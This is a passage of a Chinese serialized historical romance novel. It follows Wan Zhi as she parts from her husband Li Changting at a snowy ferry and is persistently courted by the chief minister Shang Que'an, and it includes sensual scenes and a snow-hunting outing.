妧枝环视一圈,将吸取到的余毒吐到了屋中的茶碗里,她抬手用衣袖擦了擦嘴,蔑着衣袍依旧敞开,坐在椅子上气息不稳,且腰腹还在轻微收缩的商榷安,“到底谁比较下流?”
她不过是帮忙,商榷安展现出来的模样却是伤风败俗。
商榷安:“还没有好呢,再吸几口。”
“你太快了。”
“……”妧枝无论商榷安怎么说都不动了,“到此为止,你脖颈上的余毒颜色已经变浅了。”
这证明妧枝帮的这个忙的确有效,那泛起深蓝的青筋褪了一些,而不知是不是她效用太大,让商榷安过于激动,原本冰冷的神色都恢复了些许血色。
他眼眸总是毫不遮掩直勾勾地看着她。
商榷安:“到余毒彻底清除之前,我都需要你。”
妧枝也不知他这样还有几次,如果次次都是这样,那她已经开始犹豫要不要直接拒绝了。
商榷安腰腹微凉,深秋的寒意渐渐传过来,被妧枝吮过的位置热意已经消退,他怀念且不舍她带来的湿润湿热滋味,他拢了拢衣裳,慢慢整理自身。
不是在自个儿地盘会有诸多不便,到底是在别人家,商榷安尚且自持底线,没有彻底乱来。
看出妧枝的犹豫,他道:“没有几回,只是余毒,不用多久的。”
妧枝见他还有分寸,正收拾着,冷哼一声,背过身去,没有再对商榷安多看一眼。
“快些,我要出去了。”
他们本在正屋做客,等着主人家泡茶来喝,结果招呼都不打一声便闯入了主人家儿子的房中,也不知这么久发觉他们不见了没有。
妧枝等着商榷安穿好衣裳,最好出门时不要正巧被主人家撞见。
而商榷安踱步从她身后过来,只是在妧枝正要打开房门之际贴到了她后背上,“你这么迫不及待?我还想与你再叙叙旧。”
他们贴的很近,商榷安往前一抵,妧枝就能感受到他的变化反应,她怒眸向商榷安瞪去,但下一瞬就顾不得再想其他。
商榷安将其深深地吻住,势要拉妧枝投入到这场最后的温存中,这么多年,从上辈子起他和妧枝的交融向来寡言而激烈,他深知且熟悉她每一个变化,更懂得如何撩拨起她。
纵使心中抗拒,身子的反应却骗不了人,从开头的激烈到后来的吻不知何时慢慢变得柔情似水,相比前者妧枝似乎更沉浸于后者的温柔,商榷安亲的她浑身都像泡在热水中,驱散这屋子里的凉意,让她慵懒享受而不自知。
而商榷安仅是吻着她,手指与妧枝相缠,仿佛也在投入其中感受她在自己怀里的滋味,只有在难以忍受时才会向上抵一抵,而在妧枝再哼声时又伪装安分下来,以免破坏了这难得且罕见的静谧。
“……”
从屋子里出来时,枕戈还在正屋与主人家的老妇人闲谈,小孙儿手拿着点心,蹲在大人的身边玩着手艺人编织的竹马,一时没有发现什么不对劲。
妧枝与商榷安出现在门口,枕戈率先便留意到,“大郎君?”
“啊……大人和娘子回来了。”
“方才在这附近逛了逛,该走了。”商榷安出声道。
妧枝没有附和也没有多余解释,以免带来尴尬,只是袖子里还揣着一个从房中带出来的小茶碗,这是在给商榷安解毒后弄脏了的作案证据。
“老人家,你和孙儿好好的,我们这就告辞了。”枕戈告别。
妧枝远远地也说了句,“打扰了,老人家。”
老妇人拉着孙儿,跟在他们身后送他们出门,商榷安道:“必不送了,若有什么难事,可到京都官府找我。”
他一发话,老妇人便诚惶诚恐点头,感激不尽。
“老身记住了,大人放心。”
妧枝看着商榷安,他周身官气通达,一看就不是寻常人物,能得到他一丝善意,不亚于飞上枝头变凤凰,于寻常人家来说,想都不敢想。
察觉妧枝的目光,商榷安一直有留意她的动静,很快朝她望来。
妧枝:“别忘了赔给人家一套茶具。”
毒是她帮商榷安解的,弄脏了茶碗,理应由他赔偿。
说着,妧枝背着主人家在看不清的情况下,将东西塞回商榷安怀里,自己走出门去。
事情已经办完,她今日在外待了许久,妧枝准备回府了。
身后脚步声传来,暗巷里听什么都十分清晰,商榷安跟了过来,“去哪,我送你。”
妧枝:“回府。”
商榷安:“哪个府?”
妧枝回眸,上下扫了眼商榷安,似是在说他还想做什么?
“郡王府。”
妧枝突然一想,自从她回了妧家,好像也很久没有去过她嫁人的地方了,且这些时日忙……她一出门就会被其他事或是不认识的人缠上,以至于骤然想起郡王府,竟有了一丝陌生与不习惯。
而商榷安闻言一静,他在妧枝未曾察觉到的地方神情有些沉郁,但很快又像乌云散开。
二人并排走出暗巷,枕戈识趣地在没有商榷安的吩咐下不远不近的跟着他们。
在旁人看来,如寻常夫妻般,商榷安走在妧枝左边问:“你还放不下他吗?也许他一辈子都不见得回京,你却要在那座冷冰冰的郡王府里等他?”
妧枝愣了愣,她只是想回去看看,而这些时日的思索令她快忘了自己现在还是待和离的身份。
商榷安又问:“你当真打算为他守身一辈子做个有名无实的郡王妃?”
妧枝:“也许,这与你没有关系。”
历常珽将选择的权利给了她,妧枝随时都可以在和离书上写上自己的姓名,届时就会有人送去官府,将他们的婚约解除,恢复妧枝独身的名誉。
但是,解了又如何?
丈夫不在京中,妧枝还是名义上的妻子,她的日子过的刚好,没有风波打扰,是以和不和离都对她来说,似乎不再重要。
商榷安:“我在等你,无论何时,都在等你重新接受我,给我个机会,妧枝,你不能再对我熟视无睹。我也有感情,是人就会爱而不得,心也会痛。”
妧枝瞬间诧异地看向他,这是她头一回听见商榷安这般心平气和向她控诉她对他的不公。
“那又于我何……”干。
话未说完,剩下的就被打断,“别再说与你无关了。”
商榷安:“今日你不是轻薄了我,让我对你袒胸露乳,你敢说这不算么?既然都已这般了,也该对我负责。”
妧枝:“……”怎么这般不讲道理?
“等等,是你求我,让我帮你解毒的。衣裳也是你自己脱得。”她很清白好吗?
商榷安:“但你看都看过了,我已是你的人了。”
妧枝与他说不清道理,斥道:“胡言乱语。”
她顷刻摆脱商榷安,往大街上走去。
“我还需要你解毒。”商榷安却没有再追,只是隔着距离在她身后提醒,“我还会再来找你。”
妧枝恍若未闻,专心没入人群中,与商榷安在此分离,但对方的缠人程度远比她想的还要紧密。
在帮商榷安解过一次余毒后,之后妧枝在街上总能碰见他出现,频繁的偶遇令她遇见的那些向她求助的人,都误将他当做她的夫婿。
妧枝出门,一如既往地会有忙缠身,大多都是小事。
东林寺遇到的生产妇人是罕见的情况,其他的有人请她帮忙诸如送迷路的稚儿一样,都在她量力而行的范围之内。
而商榷安便不知不觉加入到她身边,令那些见过一面或是逐渐相识的人都对她道:“妧娘子的夫婿待妧娘子真好,世间难得痴情郎,妧娘子可要珍惜,祝二位此生都白头偕老,白首同心。”
“……”
商榷安大多在旁一概不多解释,若遇上这般说道的,都会极为大方的回以贵重之礼,且若妧枝一赶他走,他便有理由说:“余毒未清,你想眼睁睁看我疼死,弃之不顾?”
那样妧枝又成了他口中薄情的女子。
最终,妧枝忍受不住,在最后帮商榷安解过一次余毒后,将自己关在家中,尽量不再出门。
冬日从枝头扑上簌簌白雪开始,惊醒众人欣喜的目光。
京都城内,屋檐一夜之间被染成白色,城中河水有的已然结冰,天寒地冻,不少富贵人家中却温暖如春。
而在商榷安收到消息时,妧枝已经离开了城中。
据在妧府和郡王府两地观察的眼线回来禀告,“妧娘子收到了一封从边关来的信,于是便也没与郡王府的人商量,命人驾了辆马车,出城往边关去了。”
第104章 峰回路转。
远山峻岭,江河涛涛,冬日总是不利于行,尤其在下雪后,连马车都会耽误在路上。
妧枝从窗户探出身,看着路面和前方将要抵达的渡口,“你说郡王已经到了?”
在驱车的下属:“郡王昨日就在此等候,待会会慢下来,需要王妃下车慢行。”
妧枝:“好,就在此处吧,停车,我下去自己走。”
马车停下,妧枝跳下来,外边寒风冷冽,很快吹红了她的面庞。
越是离渡口越近,妧枝就感觉天气越凉,历常珽与她约好在他离开的渡口见面,妧枝昨天夜里一收到信,天不亮就安排人准备了。
在距离渡口处的茶棚附近,妧枝停下脚步,而里头正拨弄着炭火的人影背对着她,妧枝不禁打量起许久未见的历常珽,他的背影瞧着比之从前消瘦了许多,手背可窥肤色,也黑了不少。
就在妧枝走进来后,她站在一旁,历常珽透过点着的炭火,先看到的就是专属于女子的绣鞋,而后是裙摆、衣裳,再到那张熟悉而冻得通红的小脸。
“阿枝。”历常珽十分惊喜地起身,他拉过妧枝的手,让她到茶棚里的椅子上坐下,离火盆近一些,然后吩咐,“伙计,倒一杯热茶来。”
妧枝出来没多久,就已受不住着寒冷的气候,好在炭火令她身子的热度恢复不少。
她也问历常珽,“你还好吗?”
历常珽同样仔细观察她,就这样默默对视了一会儿,历常珽笑道:“我很好,阿枝。你呢?”
边关实在是辛苦,黄沙漫漫,历常珽果然和在京都时不大一样,但即便如此,都比日前气色和精神好上许多。
他神色不再萎靡,时不时暗藏伤怀忧郁,妧枝点头,她信了。
“我也很好。”
夫妻二人坐在一处,在几句问话后,竟是相顾无言。
片刻,妧枝主动道:“常珽,你在边关,平日都在做些什么?”
历常珽:“我目前暂代为粮草主簿一职,日常确保军营吃食不会出错,若无事,便会随同那些将军和战士们出去,在大漠的日辉下策马巡视领地,所以你瞧我,是不是变得比从前多了些风霜了?”
他的确像他所说那样,若从前在京都是养尊处优的模样,那如今就更气概了不少。
妧枝点头,“我也……”
“你在京都,一切都平安无事,我瞧出来了。”历常珽代妧枝答道,他颇为欣慰,“我很高兴,阿枝,这般我便再不用担心你了。等我回了边关,也将更无牵挂,守卫疆土。”
妧枝愣然,“你,你还要去?你不打算回京?”
历常珽看着她,抱以歉意,“我此番来渡口约你相见,是为路过,办事,这才传信给你,想见你一面,能看到你过得很好就放心了。”
“……”
“阿枝,和离书,你可以随时交给顾曲,他会送去官府的。”
妧枝怔怔,她看出历常珽心意已决,这是他第二次提起和离,妧枝再次确信,他的确不想再回京都和她相守,人各有志,她不该再阻拦历常珽自由了。
他为她所做已经够多了。
“不必觉得对我亏欠。”历常珽面带笑意,宽慰她,“即使不在京都,无论在何处,我都心系着你,唯一令我对不住你的,便是我违背了与你的约定,不能陪伴在你身边了。”
“阿枝,抱一抱,可好?”临走前,历常珽向妧枝示意。
他还带了一个在边关雕刻的狐狸木雕,送给了妧枝,以作纪念。
妧枝上前,她还是第一次应对这般好聚好散的场面,他们拥抱在一起,茶棚内炭火还在烧灼,可他们的关系已然渐行渐远。
不远处,道路上多了两道骑在马背上的身影,有了枯树和飞雪的遮挡,在这寒冷的渡口附近,没有人发现他们。
只有商榷安沉郁而冰冷的黑眸注视着前方,他并未立即冲出去现身,更甚者冷冷质问他们抱在一起是何意。
对他人来说,那不过是再寻常不过的夫妻重逢,他始终记得,妧枝嫁给了历常珽,而他们还没有和离,是以即便是他们相拥,亦或是亲吻,都比和他在一起要光明正大,理所当然。
可在他心中,涌动着一股生闷且尖锐的绞痛,便随着他越加高深的怒火,便越觉得仿佛万箭穿心,数万只火箭向他袭来。
而他浑身僵在原地,无法动作半分,既闷又恼,眼睁睁看着妧枝抱着她这一世的丈夫诉说衷情。
“大郎君。”
胯下坐骑忽地嘶鸣,不安地抬动马蹄,商榷安面无表情地回神,余光一瞥,就发现他在不自觉间拉紧缰绳,令马儿不舒服了。
枕戈生怕他会在此时发难,商榷安得知妧枝来见历常珽的消息后,便吩咐人备马,不顾风雪从京都直奔此地。
他的马匹上悬挂着箭筒和长弓,而商榷安最为擅长的实则是暗器,他的准头连枢密院的下属机构里的武人都佩服不已,除了日复一日的练功,还需要天赋才能达到百发百中的功力。
而商榷安从未有过失手,要是在这暗杀了历常珽,简直轻而易举。
但他好歹曾经在宫变中,也属功臣,若是失去性命,圣人那边定然会命人彻查,而大郎君自当悄无声息用罪臣余孽掩盖过去,可是这般妧娘子那里就……
倏然,渡口的船家开始呼唤。
历常珽与妧枝分开,“我得走了。下次,不知何时才能与你再会。”
妧枝心头复杂万千,这回却没有继续挽留历常珽,她瞧得出来,他已经适应了边关的日子,且对京都毫无惦念,他似乎已经全然放下了。
而妧枝亦没什么可强求,她最大的希望无过于身边人都能康健平安地活着。
“再会,常珽。”
妧枝目送历常珽登船,而在风中凉意更深时,她也回神过来走向马车,茶棚中的炭火还在烧灼,妧枝坐车里,向郡王府的车夫示意,“回京吧。”
风雪中,隐匿在道路旁的身影注视着马车的离开,直到片刻后,方才不紧不慢地跟上。
在快抵达城内时,马车停了下来,车夫下车将阻挡在跟前的一块落石挪开,天色稍晚,他朝后一看,有两道骑马的身影出现在后面。
车夫想起路上总能听见的不远不近的马蹄声,在搬开落石后,向妧枝道:“王妃,有人跟着咱们。”
车中妧枝似乎在打盹,被叫醒后一个激灵,随即探身朝窗外后面瞧去。
在入夜后的暮色下背后两道骑马的身影远看如同鬼魅般,让人不由得提心吊胆,而妧枝仔细观察后,有了一点察觉。
如她所想般,很快那两道骑马的身影没有在后面逗留,而是一前一后出现在她窗外,待看清人脸,商榷安和下属的身份顿时昭然若揭。
“妧娘子,好巧,今日你也出城了?”枕戈帮商榷安破开沉默的口子。
妧枝而今已不在意前世那些是是非非,更何况身为下属的枕戈,他亦不过是在其位谋其职,商榷安在意谁,他便顺从谁。
她点了点头,没有过多回应。
商榷安却盯着她问:“去哪儿了?”
这仗势仿佛气势汹汹来找自个儿经常不着家的妇人,而商榷安就是那疑神疑鬼的丈夫。
妧枝看了看他胯下坐骑,打量了他跟枕戈一圈,除了刚开始颇为惊讶,旋即丝毫没有被吓着的样子,“你问的太多了,我才不归你管。”
商榷安默了一瞬,注视妧枝的眼眸深不可测,如同要将她吞吃了般。
下一刻,愠怒成了偃旗息鼓。
“我只是担心你,风雪太大,不利出行。”提及风雪,妧枝再去瞧他,才发现商榷安身上披风都已被雪染白了,他不知打哪儿来的,这一路竟淋了不少,且看着鼻头都冻红了,俊脸虽如神秀,却总有一丝落拓和可怜。
妧枝是只吃软不吃硬,旁人敬她三分,她便如数回敬,像商榷安这般忽地变软,堂堂一介高官重臣,说一不二叱咤风云,却在她跟前数次吃瘪,还不敢有半分怨言。
即使与商榷安有再多前尘纠葛,到眼下都变得云淡风轻。
“那真是多谢宰执大人一路护送,你今日出城又作何去?”她用怀疑的眼神看着他,猜想会不会他得知消息,知道她今日去见了历常珽,于是一路跟她到渡口。
结果商榷安表现一切如常,对她的质问对答如流,“公办,访友。涉及一些秘闻,尚且不能告诉你。”
妧枝知他前身是在枢密院办事,身为宰执定也掌握着朝堂更多内情,便暂且算他过关,左右她也不是非要知道他去做什么了。
但她还是问:“没有故意跟着我吧?”
这突如其来的一诈轻易会让放松警惕的人露出异样,但商榷安目视她,“你想我那样吗?我倒是不介意。”
妧枝悻悻,“不必。”
这时下属打了个喷嚏,入夜后天色更凉了,风雪暂时停住,但在城门外不是好说话的地方。
商榷安主动道:“回去吧。”
妧枝坐回马车中,窗户没关,她还是能看到伴着马车策马前行的商榷安,他打定主意没有要先走的意思,如同随行护卫,当起了她的看护。
而外边始终传来寒风呜呜声,妧枝直到抵达郡王府,也始终没有让商榷安弃马进来与她同乘一辆车。
“阿枝。”
从马车上下来,妧枝即将步入王府。
商榷安护送了她一路,终于开口,“我还有余毒未清,你不要忘了。”
就如在提醒她,在见过历常珽之后,商榷安并不知妧枝与他说了些什么,二人最后那一刻的拥抱令商榷安再次产生了不安。
他只得这般委婉提醒,免得历常珽的出现令她动摇。
就在入府前,妧枝停下脚步,回头朝商榷安瞧去,他脖颈上的余毒经过她吸取,颜色已经变浅许多,甚至已无大碍,这祸害除非自己作孽,死是死不了的。
妧枝可以撒手不管,但在触及那双隐隐有祈求之意的深邃眼眸时,居然没有下意识开口拒绝。
“你就不能自己喝药将其剔除?”
商榷安固执地望着她,“除你以外,没有药可以清理得了它。”
妧枝没有再给他回应,只最后看他一眼,就往王府里走去。
也不知是答应还是没答应,但只要她没开口,就算不上拒绝。
妧枝进去后,商榷安还在王府外没走,夜里渐渐又起了第二场风雪,他不动下属便也要跟着受冻。
而他始终望着内里的方向,期望看到妧枝的影子。
但妧枝并未再出来,更甚者,也许连商榷安还在外边都不知道。
“大,大郎君……”枕戈冻得直哆嗦,即使穿得再暖,一直没有遮蔽在外承受冷风,也叫年轻力壮的人受不住,“是不是该回去了。”
商榷安也是肉体凡胎,虽然胸膛总有股火在烧灼,但凉意同样叫他眉头自然而然拧紧,手也要冻僵了。
“走吧。”商榷安策马调头,就在这时,郡王府没关上的大门内,又有管事跑出来,“且慢,大人且慢。”
“什么事?”
商榷安二话不说便回头,只见对方喘着粗气跑到马前,捧着一件新的更为厚实的披风,道:“这是,这是王妃吩咐,为大人准备的,天寒风雪大,大人身上这件也该换了。”
顷刻间,商榷安脸色肉眼可见的变化,胸腔内的怒火一直忽明忽灭,到此刻一下被熄灭,同时又亮起另一道充满希望的火焰,传递到他四肢深处,让他体会到了什么叫峰回路转,柳暗花明。
他当即从管事手中接过来,解开旧的丢到下属的马上,换了这件新的披风,而后又有婢女出来给枕戈送上一件。
商榷安周身风雪如同被这件袍子融化,他精神振奋且不再是不苟言笑的样子:“告诉你家娘子,她的心意,我收受了!此生再也不会负她!”
管事和下人尚且震惊不已,而商榷安感到痛快不已,已策马离开,整条街上回荡的便是那充满畅意的炫耀声,只是一点甜头,便叫他得意忘形了。
第105章 唯独长女最为争气。……
平氏这辈子,所见过她的人都会背地里艳羡一声,平夫人有福气。
她少年嫁给曾经的丈夫,至今下狱生死不明的罪臣,得了一男二女。
女儿长成,儿子年幼,还有一个小女儿需要依靠她,但她与丈夫的感情早已如昨日黄花,逝如流水。
唯独长女最为争气。
她在整个抄家之罪中,不仅保全了她与弟妹,还让他们另有安心居所,到如今,平氏只要走出这道门,所认识她的都会恭恭敬敬或谄媚讨好,想与她打个好交道。
唯一原因,便是当朝宰执,位高权重备受圣人重用的臣子,看上了她的长女,且非她不娶。
长女妧枝,原有一个夫婿,那也是个极好的俊才人物。
若不是宫变出了一场事故,导致对方重伤了身子,这场婚姻应当不会那么快有变故。
但现在事实的确指明,那位她看好的前女婿因无法面对自己,于是选择远走边关,不肯归京,而为了不耽误长女,甘愿和离。
在签下和离书后,长女便从郡王府搬回王府,眼下却没有再嫁的打算。
可这不妨碍另一位对她忠心不渝的宰执大人常来妧府拜访,以至于现在整个京都都知晓她的长女与商榷安是迟早的事,而她作为长辈,从郡王到一朝重臣,地位更加水涨船高。
一时间私下里,都悄悄奉她为“宰执大人的岳母”。
平氏初闻,骇然大惊,还曾当面解释过,不可那般胡乱称呼,然而那些人都当她小题大做,虽当面答应称是,但都瞧得出来,并不在意称呼错了。
况且,听说这还是与宰执交好的臣子先开启的。
既然宰执认识的人都这般说了,那么他们应当也没什么问题。
京都大雪过后,整座城都陷入寒冷的天气之中,妧府的雪景让长子和次女都十分欣喜,吃过早食便在院子里打起雪仗来。
妧酨日益年长,已经褪去些许青涩,从气度上来看长大许多,不再是毛躁而怯懦的少年人,整日弓着腰身,他自认天资不够聪颖,比不上姐姐,于是努力学做一个懂得谦卑而不让人讨厌的踏实男子。
“阿柔,别跑太快,我不追你了,别摔着。”妧柔亦长大许多,可窥见长大后的模样,也是个姿色不输于人的女郎。
二人携带随从和婢女一起玩闹,就在这时妧府的大门被推开,从外面进来一道身影。
挺拔高大,余威深厚,还没有发话,下人便急急忙忙去禀告平氏。
而在院子中,妧酨和妧柔也很快发现了他的存在。
商榷安一出现,就如雪崩一般,惊醒了整个安宁祥和的妧府,他的到来无论哪一回都令人不敢怠慢。
“你们阿姐呢。”见到妧酨妧柔,商榷安每回率先问的就是妧枝去向。
妧酨对上商榷安,有着极强的被压迫感,他以为他会习惯,然而这不同于他生父妧嵘带给他的感觉,妧嵘一向是贬低他,令他无地自容。
商榷安却是所有家世不好的子弟的标榜,哪怕他曾经是王府子弟出身,可他却是凭着自己在京都闯出自己的一片天,满朝文武都在他约束领导之下。
新任的太子年纪尚小,圣人身体不佳,已命商榷安为宰执兼摄政大臣,如今上下臣子以他为首,无论是气度还是地位都到了旁人无法企及的程度,妧酨见他,不仅惶恐,更是自惭形秽。
“大人。”妧酨在商榷安威压之下,未能立即回话,妧柔则大大方方问候了商榷安,“阿姐还在房里,还未出来。”
商榷安颔了颔首,他直接往后宅熟门熟路走去,“你们玩。”
自从妧枝与历常珽和离,商榷安登门次数已成惯例,府里下人虽小心谨慎,却都不怎么见怪,而两个弟妹对这位默认的大姐夫更是持以不同态度。
妧酨心中还是承认他上一位大姐夫多一些,锦瀚郡王为人风雅和气,不似商榷安官气最重,同时也好说话许多,面含笑意。
而这位宰执大人,除了对他阿姐以外会流露一些常人的表情,基本未将任何人放在眼里,总是冷漠以待,那双眼睛盯视着他们时,哪怕只是一句话或是一个神色,都被他揣摩干净,拿捏透彻。
但妧柔与兄长所想不同,父亲犯下大错,充入狱中,在没出事之前家中仅靠母亲和长姐撑着,那时妧家可谈不上贵,小富之家都只能沾个边。
她懂事早,更期望长姐日子能过的好,只有长姐过好了,他们也才会跟着好。
尤其这位大人与上一位姐夫相比,能耐可谓之只手遮天,况且又对阿姐情深意重,作为妧家人还有什么可挑剔的。
“阿兄,大人下回过来,你可不要再不回他的话了。”
“阿柔你……”
“阿兄,阿姐已经同上个大姐夫和离了,如今京中谁人不知大人非阿姐不可,难道我们要与他作对吗?只要他对阿姐好,况且有阿姐在,他总是会照拂我们家的……还有你是我们当中唯一的男子,将来继承家业,还要顶事,要是在阿姐身边,你能有所成就帮上她忙,可不就更好了?”
不知阿姐什么时候才会答应嫁给这位大人,想必时日不久。
他们妧家没了父亲,可以说是破落户,要不是得了一方安隅,早已滚出京都。
过了良久,妧酨似是听了进去,明白妧柔说的有理,“我知道了,下回我,我会主动和他说道的。”
……
妧枝还在她以前的闺房居住,她从郡王府搬回来后,就不大爱出门了。
原先那些一出门就会遇到的小事就此消失,她原以为就这般可以避免和商榷安在大街上相遇,奈何对方锲而不舍,一次两次登门拜访。
前半个多月,妧枝一概不让开门,商榷安倒是自觉,并未硬闯来惹她不开心。
但只要有闲余,他从未缺席。
那么大个人,即便妧府不肯请他进去,他的马车便停在外面等候,一日不成就两日,时日一久,街坊四邻都知晓圣人宠臣常来妧家,被拒之门外。
不知平氏在外听了什么流言蜚语,对商榷安如今的身份地位不敢怠慢,还曾到她房中来悄悄劝说过她,让她稍稍收敛,免得将人彻底得罪了。
可以吃闭门羹,可不能总让权倾天下的商宰执苦守大门前,给他们妧家当石狮。
小户人家实在担待不起,为了宽平氏的心,妧枝这才松口,不再示意门房在商榷安来时将门锁死。
可人进来了,她可不一定会去招待。
然而商榷安早已对她的心思琢磨透彻,半个多月的大门都守了,更何况妧枝房前的门,他一向不怎么正正规规守规矩。
冬日妧枝最喜欢的便是躺在卧榻处,烤着炭火打开窗赏景,以前她总是早起,谋划该怎么将妧嵘丑事抖露,将其送进去。
后来平氏对妧嵘发生的一切一无所知,亦或许她有所察觉,却并不想追究太多,未免让母亲不愉快,妧枝干脆便隐瞒了下来,就当妧嵘只是纯粹因为犯了罪才出事。
而后大仇得报,一切安好,她心慵意懒开始闲下来,做个比妧酨还没志气的闲人。
屋中炭火旺盛,开着窗堪比暖阁,妧枝早上被风雪惊醒,披着被子在茶桌卧榻处待了一会,看着看着便靠着窗又睡着了。
待她清醒,天已日上三更,风雪已停,暖意依旧,而她身旁多了一道足以依靠让人觉得无论做什么都会万无一失的挺拔身影。
商榷安坐在一旁,挨着妧枝十分安静,手头翻阅着她昨天夜里看过的古籍。
他不知在此等了多久,来时又是什么时候,总之没有半分手脚不干净,亦没有打扰到她休息,唯一不同的是,妧枝蜷着身躯,双脚本是藏在案几之下,现在却到了商榷安的腿上。
无怪乎她醒来没有那等腿脚僵硬的酸胀感。
“你醒了?”商榷安比她出声更快发现她的动静,仿佛后头颅长了眼睛。
他将她所看的古籍放到案几上,转过身,那张眉眼分明清正而冷峻的面容便出现在妧枝视野,鼻梁俊挺,丰神秀仪,视线专注而仔细全都凝注在妧枝身上。
“要起吗?我抱着你去梳洗。”他将妧枝裹在被子里,虽然屋中甚暖,但吹了许久的风,依旧不适于妧枝马上从中出来。
水是烧出来后放到温热适宜的程度,一切都拿捏的刚好,不冷也不过分热,妧枝醒来就能用。
同样喝的茶水一样这般舒适入口,妧枝没吭声,便是有口渴的意思,商榷安连这都察觉到,在帮她梳洗后喂了她一口。
“今日我休沐,带你出去走走。”
“去哪儿?”妧枝终于得水润喉,声音轻柔略带一丝沙哑,彷如最轻软丝滑的绸缎一般,撩拨动身边人的心弦。
商榷安接过她手里的杯子,将她没喝完的最后一口茶水喂入喉咙里,含吻过她嘴唇触碰过的痕迹,放下杯子,俯身下来贴着妧枝的面给了她一个细碎的吻,一直到衣襟处才停止。
“去了就知道。”
第106章 雪猎。
妧枝早上没甚么胃口,用的吃食不多,商榷安特意来家中要接她出去玩,不光在妧府备了些吃的,早在马车中就已经携了不少吃食,不愁妧枝吃喝。
如今他登门入室,府里上下对他见怪不怪,只要宰执无事,就定然会来找他们娘子。
平氏只问了他们今日是什么打算,得知商榷安要带长女出门,便没有再多问,而妧酨妧柔也识趣的不曾多加打扰姐姐和大人的独处,虽然因为长姐这位会对他们多加照拂,但远远不到一视同仁的程度。
妧枝倒是问了弟妹,“下雪了,你们在庭院里打雪仗玩的倒是高兴,要不要同我们一起出门逛逛?”
弟妹二人不约而同摇头,且谨慎看了她身后的男子一眼,“阿姐和大人去吧,我今日想在家。”
“我也在家陪阿母。”
妧枝便没有勉强,交代了几句,被商榷安牵着从屋檐下出了妧府。
马车上,商榷安给她塞了个手炉,又让妧枝躺在他怀中,这里面载量宽敞,再容下两人绰绰有余,下属及车夫在外驾车,一路往妧枝不熟路的方向去了。
“你到底带我去何处,还不肯说?”
妧枝用过吃食,不多会又绝困倦不少,她懒懒地向商榷安打听,“你不会想把我卖了,报复我吧?”
她容色还是平静,眼眸都微微合上,一副养神的样子。
而商榷安始终抱着她坐在身后,把着她腰身,但凡二人之间留出空余缝隙,他都会再与她贴近,俯身抵着她头顶道:“不是说了,去了你就知了,现在揭晓,反倒没有惊喜了。”
妧枝这才看他一眼,等到之后最好是商榷安所说那样,否则她今日也应当宅在家中偷闲度日。
“若真把你卖了,你觉着自己该出多少身价合适?”商榷安在她腰上轻抚,撩拨她的兴致,不让妧枝就这般睡过去。
路上还有很长一段路,足够她补充睡眠。
“又不卖给你。”她的话令他笑出声,不由地莞尔。
“那要卖给谁?”
妧枝倦意上头,懒得理会商榷安的调笑。
“随便什么人,总之不要是你。”
“为何不要是我?不管你出价多少,我都能买得起。”他含情咬上她的耳垂,透着些许情热。
妧枝开始察觉出热了,手炉还在她怀里,整个马车内并不冷,暖和的很,商榷安还在她身后环着她,这让本就穿的不少的妧枝更觉再过不久她就要出汗了。
“少碰我,安分些。”她想懒懒散散一路躺到目的地,偏偏身边有人喜欢在她醒时动手动脚,“黏人。”
卖给商榷安就相当于自投罗网,他如今实在缠人了些,而妧枝到了他手上只有被爱不释手的下场,打他一巴掌,他亦只会把另一半脸奉上。
妧枝抬手推拒他的下巴,果然到了她这里,商榷安便借机蹭了一下她的掌心。
“你觉着我身价该有多少,那我卖给你如何。不仅白给,我的身价一并给你了。”
“……”白给的才不值钱。
真买下商榷安,只会让她烦扰,像阴魂不散,无时无刻不在觊觎她,纯属吃力不讨好。
“困了,不许再扰我,不然不去了。”
妧枝被闹得不得不将手炉挪到了一旁,她想离商榷安远一些,但他的手始终环着她的腰,走时走不掉的,只能愤愤告诫他不要再闹她了。
否则她要发火了。
与在人前不同的样子,这样逗弄妧枝的商榷安极为罕见,多了几分少年意气,早已是及冠多年的人,可见这般才是他深处本性。
妧枝闭上眼,这回是真连呼吸都变浅,商榷安捧着她的头在腿上,拨开贴着她脖颈的发丝后,这次没有再缠着她说话。
一直到抵达去处,妧枝感觉到商榷安先从她身旁离开,下了马车去安排,随后过了一会儿才回来叫醒她。
“阿枝,醒醒,到了。”
冰天雪地,路并不好走,但好在城中有人铲雪,且连他们的马车上都备有铲子,即使有积雪挡路,也都被清除掉了。
手炉早已失温,妧枝被商榷安从马车中抱下来,触目是满山雪色,她才得知商榷安带她来了一家庄户上。
他们还在京都城中,但离宫廷和市集以及他们住的府宅都比较远了,就在野郊外。
商榷安:“到庄子上用些吃食,待你换身衣裳,我们上山。”
庄子里的猎户已经等待多时,是对父子,向妧枝道:“见过娘子,娘子到了山中不必担忧,我们会在前面开路,您紧跟着大人便是。这时季,运气好会有雪狐出现,前几日就曾有乡民在山中发现过踪迹。”
妧枝根本不善于狩猎,她是第一次在冬日上山,大雪倾覆,和她从小跟着平氏去的山里不同,跟平氏是在春夏时节,而现在她每呼出一口气仿佛都能结冰。
她与商榷安同乘一匹马上,寻找着山野中的猎物,惊险又刺激,而一旦猎物发现他们接近便会如离弦的箭般飞快蹿远。
商榷安便会在这时候捕捉它们的踪迹,在有新发现的下一刻,亦更快地纵马带着她追上去。
“在那儿,快追。”
每等猎物跑脱,妧枝便会帮商榷安报信。
实际上这样冰天雪地的情况下,商榷安对狩到猎物的结果并不怎么上心,他的追捕不过都是为了哄妧枝开心。
与他们一同上山的猎户和下属都分散到其他林中,商榷安只为让妧枝感受这一滋味,真正的猎物只需由猎户他们捕到即可。
似是察觉出商榷安并不是真有意要猎到什么,妧枝仰头抬眸,却只能看到身后搂着她的人那深邃的轮廓,“你故意的?”
商榷安正好垂眸看下来,他的五官方才在妧枝眼中显现,眼神戏谑,明知故问:“什么?”
“好几次都要追上了,你把它们都放跑了。”
商榷安策马追得快,这山路一路上来,妧枝在他怀中颠簸了多少次,她张望着被他放跑的猎物,而商榷安却享受着一路温香软玉在怀的滋味。
被戳穿后他才勾唇笑道:“这样不好吗?我带你来不光是为了狩猎,一边策马一边观赏着雪景,也是一种乐趣。”
妧枝的确兴趣被勾了起来,她跟商榷安在一匹马上,追踪猎物时既惊又险,这是她不曾经历过的,很有意思。
但她不是会轻易表露出来的人,不过无妨,也许她早已经露馅,而商榷安对她的性子和反应已经了如指掌。
他知道妧枝会喜欢,也会口是心非,才会带她到山里兜兜转转。
“赏景就赏景,那你抵着我做什么?”
话音一出,商榷安在妧枝身后红了脸,眸光也变得黑亮又有神,语调略有些兴奋,“受了颠簸而已,是常有的事。”
妧枝从前嫁他,在做那方面事时,倒少见羞涩,适才才会在洞房时那么大胆,褪了自己的衣裳不说,还要来解商榷安的。
